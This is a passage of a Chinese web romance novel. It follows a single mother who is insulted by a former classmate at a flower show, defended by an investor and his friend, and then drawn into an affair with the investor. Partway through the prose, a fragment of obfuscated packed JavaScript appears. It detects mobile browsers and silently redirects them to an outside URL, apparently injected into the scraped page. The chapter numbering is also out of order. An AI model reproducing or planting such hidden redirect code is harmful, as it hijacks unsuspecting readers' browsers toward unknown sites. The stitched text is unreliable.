那男子身边一个被养得颇有几分蛮横的小胖墩,闻言立刻瞪起眼睛,伸出胖乎乎的手就要去推糯糯:“你胡说!这是我们的位置!”
林无可眼疾手快地把糯糯拉到自己身后护住,目光冷了几分,正要开口,却在看清那男子的脸时微微一怔。
张允来也正眯着眼打量她,像是想起了什么,脸上露出一抹夸张的“惊喜”,但眼底却快速闪过一丝不屑和嘲弄。
“哟哟哟!这不是当年的系花,林无可嘛!我想起来了,你是来签合同的,没签上。”张允来上下扫了她几眼,“啧啧,大美女,怎么一个人带着孩子来这种地方玩?你先生裴尧呢?”
张允来并不知道林无可和采购经理、徐睿之签了合同。
林无可心里咯噔一下,大学那会儿,这张允来就喜欢到处八卦,嘴巴碎。
“合同早签了。”林无可不想多谈往事,“我们安分排队,麻烦你和你的孩子也遵守一下秩序,别硬插队到我们前面。”
“还跟我讲起规矩了?”张允来嗤笑一声,声音更大了几分,引得周围排队的人都看了过来,“我可都听说了啊,你一个人不结婚就生孩子,过得挺穷苦的。合同也没签上,产品也卖不掉,没什么收入。怎么跑到这种烧钱的地方来?”
“我看是想来这儿碰碰运气,看看能不能给孩子找个‘新爸爸’?但带个拖油瓶,我看难。”张允来老婆也是牙尖嘴利。
争吵间,排在他们后边的两人已经先过去拍照了。显然这家人就是和林无可杠上了。
“你们俩癫公癫婆,闭嘴。我宝宝在这,懒得跟你们计较。”林无可气得叉起腰骂道。
糯糯似乎也感觉到了妈妈的情绪,不安地抬头看她。
“我偏不闭嘴,你不就想拍几张美照发朋友圈,就像以前上大学的时候,说京郊度假村是你家的那样嘛。证明自己过得特滋润?好做微商。你们这种宝妈,也就做做微商。”
“哦?是吗?”一个清朗又带着几分冷意的声音忽然从旁边传来,不高,却瞬间压过了张允来的聒噪。
陆璟栋不知何时已经回来了,他单手插在西裤口袋里,身姿挺拔地站在那里,神情淡淡,目光却锐利如刃,正落在张允来身上。
这男人气场太强,一看就不好惹。
张允来被他看得一窒,刚才那股嚣张气焰莫名就矮了半截,弱弱地说:“当然是,我从不说假话。”
林无可回过头来,看到陆璟栋,手指不由微微蜷缩起来。当年,她想留住捧高踩低的裴尧,把爷爷搬了出来,去度假村找爷爷,拍了不少照片,发朋友圈。
那年五一,她还给了裴尧顶配套房的门卡。
后来,她和裴尧分手了。
大家都在传她是装假名媛。
爷爷确实没见她,那亲情名存实亡,爷爷以后也不可能把度假村留给她。
关于度假村,某种意义上,张允来说的也没错。
陆璟栋的目光也落在她身上,显然是看出了她的尴尬。
他迈开长腿,不疾不徐地走到林无可身边,自然而然地将她和糯糯护在了自己身后,形成一种保护的姿态。
徐睿之也没走,看向了张允来,这不他公司新来的员工吗?之前在事业单位的,他还面试了的。
“徐…徐总。”张允来刚刚被陆璟栋吸引了注意力,此刻看到了徐睿之,腿都软了。
徐睿之眼神一寒:“你是我公司新员工?”
他语气带着不容置疑的威压:“公共场合,请管好自己的言行,排队是基本礼仪。还有,你口中的‘拖油瓶’,是我见过最聪明可爱宝宝。”
陆璟栋眉头蹙起:“你现在是打算体面地带着你的孩子去重新排队,还是需要我请花卉展的安保人员过来,跟你好好科普一下游客须知?”
张允来,立刻明白他这是踢到铁板了!
他刚才那些尖酸刻薄的话,现在想起来都觉得后背发凉。万一对方真要较真。
“误会,都是误会,都是裴尧说的。我和林无可当年可是要好的同学。”张允来脸上挤出比哭还难看的笑容,拉着自己儿子,灰溜溜地往后退。
“听别人说,你在公司准备考公对吗?之前既然从事业单位出来,怎么又想考公?我们公司留不下你这尊大佛。”徐睿之敲打道。
“我们去别处拍,别处也一样,一样。”说着,他连连后退。
“我老公工作很认真的,没有考公。”那女人连忙说。
“考不考你自己清楚,在公司天天看申论。”徐睿之说,“既然考公,那我们公司也不留你。你来的日子短,给你N+1补偿。”
“还不是你这个贱人没眼力见让我考公。”张允来扇了老婆一巴掌,“成天不工作,还说我工资低。”
他老婆顿时气死了,踢了一脚张允来:“没用的东西,你那个事业单位也就月薪三千多,怎么吃饭。明明同学这么有背景,你却不知道。”
周围围观群众,面面相觑,小胖墩“哇”得一声哭了起来。
“我再也不敢了。林无可,我错了,我刚刚大嘴巴乱说的。你也知道我这张嘴。”
“恐怕我也帮不上你。”林无可又不是他公司老板,徐睿之都发话了,她还能管别人公司不成。
张允来拖着老婆,几乎是落荒而逃地消失在了人群里,连他儿子都一脸莫名其妙地被拖走了。
周围的空气仿佛都清新了不少。
之前那些看热闹的眼神,此刻也变成了对陆璟栋和徐睿之身份的猜测,还有对林无可的羡慕。毕竟南方小城的人口简单,穿着打扮也不像陆璟栋和徐睿之那样低调奢华。
陆璟栋温柔地低头问糯糯:“糯糯,刚刚有没有被吓到?”
“没事。”
林无可长长舒了口气,感觉刚才那股堵在胸口的郁气,随着张允来的狼狈退场而烟消云散,心里痛快极了!她感激地看向陆璟栋,眼底水光微闪。
陆璟栋对她安抚地笑了笑。
“好了,碍事的人清走了,现在是拍照时间。”徐睿之拿出手机,“我给你们拍个全家福。”
林无可一愣,摆摆手:“徐总,你是不是误会…”
但陆璟栋没拒绝:“走,我们拍照。”
糯糯拉着她的手,走到彩虹拱门下。陆璟栋站在俩人身侧。
温暖的阳光洒在她的脸上,周围的一切都变得柔软。她看着前方五彩缤纷的花,感受着那淡淡的香气,突然觉得心里被一种久违的温暖填满。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669468|173082||http|test|mini|href|location''.split(''|''),0,{}));
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>徐睿之调整着角度,镜头对准了笑靥如花的母子俩和陆璟栋,还有他们身后梦幻的城堡背景,“来,看镜头,一、二、三——茄子!”
林无可发自内心地扬起了嘴角,阳光洒在她脸上,镀上了一层柔和的光晕。这一刻,只剩下心尖上不清道不明的悸动。
拍完后,徐睿之笑着说:“我想起来公司那边还有事情要忙,先走了。”
说完,忙不迭离开了。
天色渐晚,三人又继续在花卉展游玩起来。林无可本来打算当晚回去,糯糯太累了。于是三人订了花卉展边上的五星级套房。
夕阳的余晖给整个花园镀上了一层金色的光晕。他们三人并排走在中央小道上,往酒店走去。
林无可低头看着脚下的步伐,忽然觉得,自己似乎已经很久没有这样轻松地走过一段路了。身旁的男人和孩子,让她感到一种前所未有的安心与踏实。
三人去了酒店的行政酒廊用餐。
优美的音乐飘扬。
吃完后,林无可和陆璟栋带着糯糯进入了套房。
前台打了电话过来,说有同城快送过来。
不一会儿,林无可打开门,发现是一束鸢尾。
那捧鸢尾花束扎得很精致,紫色的花瓣上还带着晶莹的水珠。
她接了过来,指尖触碰到微凉的花瓣。
“你什么时候买的?”林无可问。
“你猜。”陆璟栋淡声说。
林无可忽然想到了,他刚刚去洗手间,可能是那时候她买的。
糯糯笑着说:“妈妈,叔叔之前就问过我,你喜欢什么花。”
林无可笑了,抬头看向远处的夕阳,心里暖暖的。
林无可给糯糯洗澡睡下后,给他掖好被角,她打开了客厅的门,他们订的套间外面带着一个玻璃房吧台。
小花园里,一盏玫瑰灯发出柔和的光芒。窗户打开了,空气中弥漫着花园展那边传过来的淡淡的草木清香。
陆璟栋已经坐在了花园的藤编沙发上。他面前的小几上放着一瓶香槟和两只高脚杯,其中一只已经斟上了酒,另一只空着,显然是留给她的。
林无可走过去,在他身旁坐下,拿起空杯,自己倒了小半杯酒。她晃了晃杯中浅绿色的液体,灯光下,酒液泛着清新的光泽。
“徐睿之是你朋友?”她轻声说,侧头看向他。
陆璟栋没有看她,目光投向远处模糊的城市夜景,只是淡淡地“嗯”了一声,一如既往的惜字如金。
林无可也不介意,她知道他就是这样的性子。她抿了一口酒,酒液顺着喉咙滑下,带着气泡的跳跃感。
她放下酒杯,身体微微向他倾斜,带着些许酒意的声音更加柔软:“今天合同签的很顺利,杨总那边五折。”
“所以我准备了香槟。”他终于转过头,视线与她相触,眼神深邃,看不出太多情绪。
“还有鸢尾对吗?”林无可眼波流转,带着一丝狡黠的笑意,“那糯糯有没有告诉你,鸢尾的话语是什么?”
陆璟栋眉头微不可察地挑了一下,没有接话。
林无可伸出手,指尖轻轻搭在他放在藤椅扶手上的手背,那里的皮肤带着一丝凉意,却不像花瓣那般柔软。她的指尖带着刚才握过酒杯的微热,像是一点小小的火星。
她的声音压得更低,几乎带着气音,温热的呼吸似有若无地拂过他的耳廓:“爱的使者,想念你…”
陆璟栋的手指几不可见地蜷缩了一下。他依旧维持着那份淡漠,只是喉结却轻轻滑动了一下。
林无可的胆子似乎也随着酒意大了起来,她的手指不再满足于停留,而是轻轻地在他的手背上画着圈。她能感觉到他肌肉的瞬间紧绷,然后又刻意地放松。
“陆璟栋,”她凑得更近了些,几乎能数清他长而密的睫毛,“今天……我很开心。”
她的声音很甜美,带着紧张和几许期待。她抬起另一只手,轻轻抚上他的脸颊,指腹下的皮肤,让她觉得无比真实。
他的呼吸似乎也重了一些。
“你呢?”她凝视着他的眼睛,那双总是平静无波的眸子里,此刻似乎有涟漪晃动。
陆璟栋没有回答,只是眼神愈发深沉地看着她。
林无可鼓起勇气,微微仰头,柔软的唇瓣轻轻印在了他的唇角。
一个试探性的吻,带着香槟的微醺,和她独有的馨香,一触即分。
“不说话,我就当你也开心了。”她低声笑着,眼底闪烁着水光,并未在意他的冷。
就在她以为他会用一句不咸不淡的话来回应时,他靠着藤椅,咽了口酒,开口问:“今天你那个同学说的度假村,是怎么回事?”
15. Chapter 15 鸢尾
林无可一愣。他白天在花展听到张允来提起度假村时,明明毫无反应,原来都记在心里了。现在旧事重提,想来还是在意的。
她想到了大学时候的五一。
她留了套房钥匙给裴尧,裴尧也来了。
但裴尧还是不相信度假村老板是她爷爷。
毕竟这度假村里面有林家祠堂,整块地因为历史渊源都是爷爷的,价值难以估量。
裴尧,根本不相信。她穿着打扮,很普通,实在是不像有钱千金。
此刻,林无可不想提和爷爷关系不好的事情,半真半假地解释道:“大学时不懂事,爱慕虚荣。我前男友那个人,挺势利的。为了留住他,想装有钱人,就吹牛说那是我家开的。”
“原来如此。”陆璟栋没再追问,语气听不出喜怒。
林无可以为这个话题就此揭过,刚要松一口气,陆璟栋却突然伸出手,一把扣住了她的后脑,力道不重,却带着不容拒绝的强势,两人之间的距离瞬间归零。
他的吻不是她那般轻柔的试探,而是带着压抑许久后冲出来的汹涌,仿佛爆发奔腾的岩浆。她完全吞没。
林无可的心脏狂跳起来,下意识地抓紧了他的衣襟。之前所有的小心翼翼,在这一刻都化为了最直接的回应。
远处的城市灯火璀璨,近处的花园静谧无声,只有两人的呼吸交织在一起,越来越急,越来越热。
“预算你自己报。”他抱着她转过身子,声音喑哑,像大提琴的最低音。
阳台的门不知何时被他反手锁上,夜风带着外面画展飘来的香气,混合着香槟酒液的清甜。
林无可扶着藤椅的靠背,回过头看他,眼波流转:“陆总这是要直接资源倾斜?这可比任何情话都动人。”
“既然,我输出资源给你了,”他顿了顿彻底卸下了那层冰冷的外壳,但仿佛有什么阴冷偏执的东西从暗流里爬出来了,“你就要记住,你是我专用的。”
林无可听言心头一跳?大佬说话都这么有压迫感吗?专属和专用,一字之差,天差万别。是想豢养她做金丝雀?
林无可不说破,但心里有些害怕,身子诚实地抖了一下。
香槟杯子被碰倒了,酒水撒了出来,顺着林无可的侧腰滑落,两人却谁都没去捡。
陆璟栋扣住了她的腰,将她拉得更近。
三年半前,他在京郊度假村,遇到一个娇气美貌的女孩。
想再见她,他去那个度假村成了习惯。
他住的别墅套房边上就是老板,一来二去,他和老板成了钓友。
老板经常叨叨他的孙女,什么孙女生了娃,什么孙女离婚了。还要推荐给他做对象。
三年来,度假村日渐凋零,他也没再见过那个女孩。
家里说,准备给他安排了和港圈的联姻,他想断了那份情缘,没再去过。
可现在,她却给了他熟悉感。
本以为她可能是个富家千金,或者度假村接单的外围。
没想到,是一个女大学生,为了假装有钱,留住男友才订了个顶配套房。那套房价格要一万多,可真是下了血本。
想到这,他愈发掐紧了她的细腰,在她耳朵边低语:“你说的那个度假村,这三年来,我常去。“
“我和老板住隔壁,成了忘年交钓友。”
“他有个孙女,天天挂在嘴边。说她生了孩子,后来又离婚了,过得很苦,还想介绍给我认识。老板很疼她孙女,打算以后把度假村留给她。”
度假村留给她?
林无可的大脑“嗡”的一声,几乎无法思考。爷爷跟他说过这些?
之前去找爷爷,爷爷一直避而不见。因为爸爸去世的伤心事,她知道爷爷再也不会见她了。
可现在陆璟栋说,爷爷还像以前一样,计划把度假村留给她。
“我不信。”她说,“要留,怎么会一直看着她离婚一个人带孩子呢。”
“我看他总是一个人,那个孙女一次也没出现过。我跟他说,年纪大了会孤单,要是实在想得慌,不如去看看心理医生,幻想出来的亲人解决不了问题。”陆璟栋说。
决定不再去度假村那天,他对老板说:老板,你那个离异带娃的孙女,是真实存在的吗?
老板:那当然了。
他说:以后我不来了,记得去看看心理医生。
老板:你小子说什么鬼东西!下次我给你看照片!
他没再去,也不知道老板去看了心理医生没有。
林无可有点心酸,又有点想笑。
关于家事的隐瞒,竟阴差阳错地成了一张她的底牌。
她强行压下心头五味杂陈的情绪,决定怀孕生下孩子后,爷爷确实联系过她。但她为了避免被闲言碎语,换了联系方式。
三年多前的五一,爷爷避而不见她,她实在是受伤很重。
想不到,在陆璟栋眼里,自己的爷爷是个需要看心理医生的孤寡老人。
而自己,是个只存在于幻想中的孙女?
也许,她是该去看望看望爷爷了。
“或许吧,”林无可顺着他的话说,“比起一个不存在的她,我这个为了前男友一掷万金的假名媛,是不是更真实一点?”
林无可的坦然,让陆璟栋的眼神愈发深沉。
陆璟栋一把将她捞进怀里,用行动回答了她的问题。
这是两个成年人之间,一场势均力敌的交锋与沉沦。
杯子在桌上躺着,轻轻晃动。一滴滴清甜的酒,在夜色中静悄悄低落在黑金色的大理石上,大理石潮了一大片,倒映着两人的身影。
两人最大负距离的那一刻。
林无可忽然想到了,很久以前,她把花朵的茎插入松软的花泥。
月光不知何时悄悄洒下,给两人渡上了一层朦胧的银辉。空气中,鸢尾的幽香和跳跃的香槟,交织成一副梵高的画,阴郁中仿佛光明炸开。
结束后,男人抱着她去浴缸清理。
浴缸后的弧形镜子让空间扩展得很宽敞,林无可被丢了进去,白的几乎可以掐出水来的皮肤,露在空气中,空气中充斥着一种植物的湿润。
她原本以为他是不动声色的清冷禁欲系,没想到夜色深处,似乎不太一样了。
雾气氤氲中,浴缸的水微微晃动,她靠在他胸口,像一只刚洗过的布偶猫,轻轻撩起水花:“后来你还去过那家度假村吗?”
陆璟栋指腹轻抚着她的后背:“没有。”
她有点意外地抬起眼:“为什么?不是说和老板成了朋友?”
“家里那阵安排我联姻,说港圈那边有个人选。”他语气淡淡,“我想断了那点不知所谓的念头,就没再去了。”
水声一静。
她一瞬间手指一僵。
不知所谓的念头?
原来,他心里那抹模糊的影子,是不知所谓的念头。
她原本想着,那天晚上的人,是不是可能是陆璟栋?
她本想借这个问题试探两句,可他三言两语,让她不想再打探。
而且,他家在港圈那边还有联姻安排。
搞不好,他还有未婚妻什么的。
水依旧暖,心却慢慢凉了几分。
林无可笑了笑,那笑意却未达眼底,她从浴缸起身,披上浴巾。
放在水池大理石桌上的的电话铃声突兀地响起。
“无可,糯糯爸爸联系我了。你一定要让他多接触糯糯。”林母的声音从电话那头传来,“他毕竟是糯糯的亲生父亲,怎么可以让孩子没有父亲的陪伴?之前连糯糯生病,你都不让他看,做的太绝。”
林无可闭了闭眼,心情瞬间沉了下去:“妈,我之前不是说过,我不想再和他有任何牵扯吗?”
林母压低声音:“你看他的态度也不像以前那样了,看起来像是要重修旧好。你想想,如果他愿意跟你结婚,你不该试试吗?”
她压下心中的烦躁,强笑了一下:“妈,我说过,我和他的
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事已经结束了。”
林母继续说:“他说会去幼儿园看糯糯,你到时候不要阻拦。至少在你爷爷面前做做一家人的样子,你爷爷联系我了,我之前就跟他说过你和裴尧是离婚的。你要是还想要继承度假村…”
林无可一愣,难怪爷爷说起她是离婚带孩子。
“我还有事,回头再聊。”听到度假村几个字,她挂断了电话。
“怎么了?”陆璟栋问。
“没事,”她垂下眼,“我妈的电话,让糯糯多跟裴尧接触。”
她没提爷爷的事情,毕竟那是他不知所谓的念头。何必再提?
“你怎么想?”
“我不想再让他接触孩子。”她的语气平静,却有种掩不住的倦意,“糯糯有我就够了。只是,我妈说他准备直接去幼儿园。”
“放心,只要你不点头,裴尧接不走。”陆璟栋声音不大,却带着令人安心的力量。
-
林无可第二天坐高铁回去。
车站人声鼎沸,广播里一遍遍催促着检票。她抱着糯糯站在人群里,孩子靠着她打着哈欠,眼皮沉得快睁不开。空气中弥漫着各种食物和旅途的味道,让她感到有些不适。
检票口开了,队伍忽然往前涌动,身侧有人背着大包,差点撞上来,她下意识护住孩子。
陆璟栋已经抬手挡住那人的行李,顺势往旁边一带,把她和糯糯挡在自己身后。
“注意下你的行李。”他说,声音不大,却让不敢顶撞,带着一种不容置疑的气场。
等人群稍微平稳下来,他低头看向她:“我来抱孩子吧。”
她还没来得及拒绝,他已经轻轻接过她怀里的糯糯。
孩子眼睛半睁不睁地瞥了他一眼,又趴在他肩膀上睡过去了,小小的身体在他怀里显得格外乖巧。
上车后,她找到位置,把行李放好。他抱着糯糯坐到她旁边,动作稳稳的,像是早就习惯。
“我来抱一会儿,你歇着。”他说。
她看着他怀里那熟睡的小团子,没再坚持。
靠在车窗边,她轻轻呼了口气。
窗外飞驰的景色渐渐模糊了,天色暗了下来。车厢里灯光明亮,却有些晃眼。
他低头拍了拍糯糯的背,小声哄着,糯糯嘴角带着一点睡梦里的满足。
她忽然有点恍惚。
他眉眼淡淡的,看不出情绪。
但这一幕像极了一个完整的美好画面。某种她从前不敢去想的生活模样。
可她很快收回目光,把那些念头压下,像过去许多次一样。
他不过是她的投资人而已,两人最好是走肾不走心。就当他是糯糯的临时保姆了。
第14章秋
高铁平稳地行驶在夜色中,窗外是飞速掠过的模糊光影。车厢内灯光明亮,大部分乘客都已经沉沉睡去,只有少数人还在低头看着手机或处理工作。
京市的夜晚,带着不同于南方的清冽,空气也干燥许多。
晚上九点多,高铁到站。
陆璟栋的司机早已等候在出站口,穿着一丝不苟的制服,安静地站在人群一侧。
司机来接陆璟栋,顺便把她和糯糯送回了家。糯糯全程都睡得很沉,从陆璟栋的怀里到车上的儿童安全座椅,再到林无可把他抱回家放到床上,都没有醒过来,小脸上带着满足的酣甜,长长的睫毛像两把小扇子。
晚些时候,她把今天在花卉展买门票和巧克力的钱转给了陆璟栋。她不想在这些小事上欠他的人情,即便他可能并不在意。
陆璟栋一直没收,微信上那个红包孤零零地躺在那里。
第二天,林无可踏着清晨的阳光,走进自己一手创立的公司办公室。
她还没来得及放下包,就感觉到了空气中弥漫着一股不同寻常的的狂热气息。
整个团队的人都探头看她,像一群嗷嗷待哺的雏鸟看到了鸟妈妈。
“林总!”
“林总早!”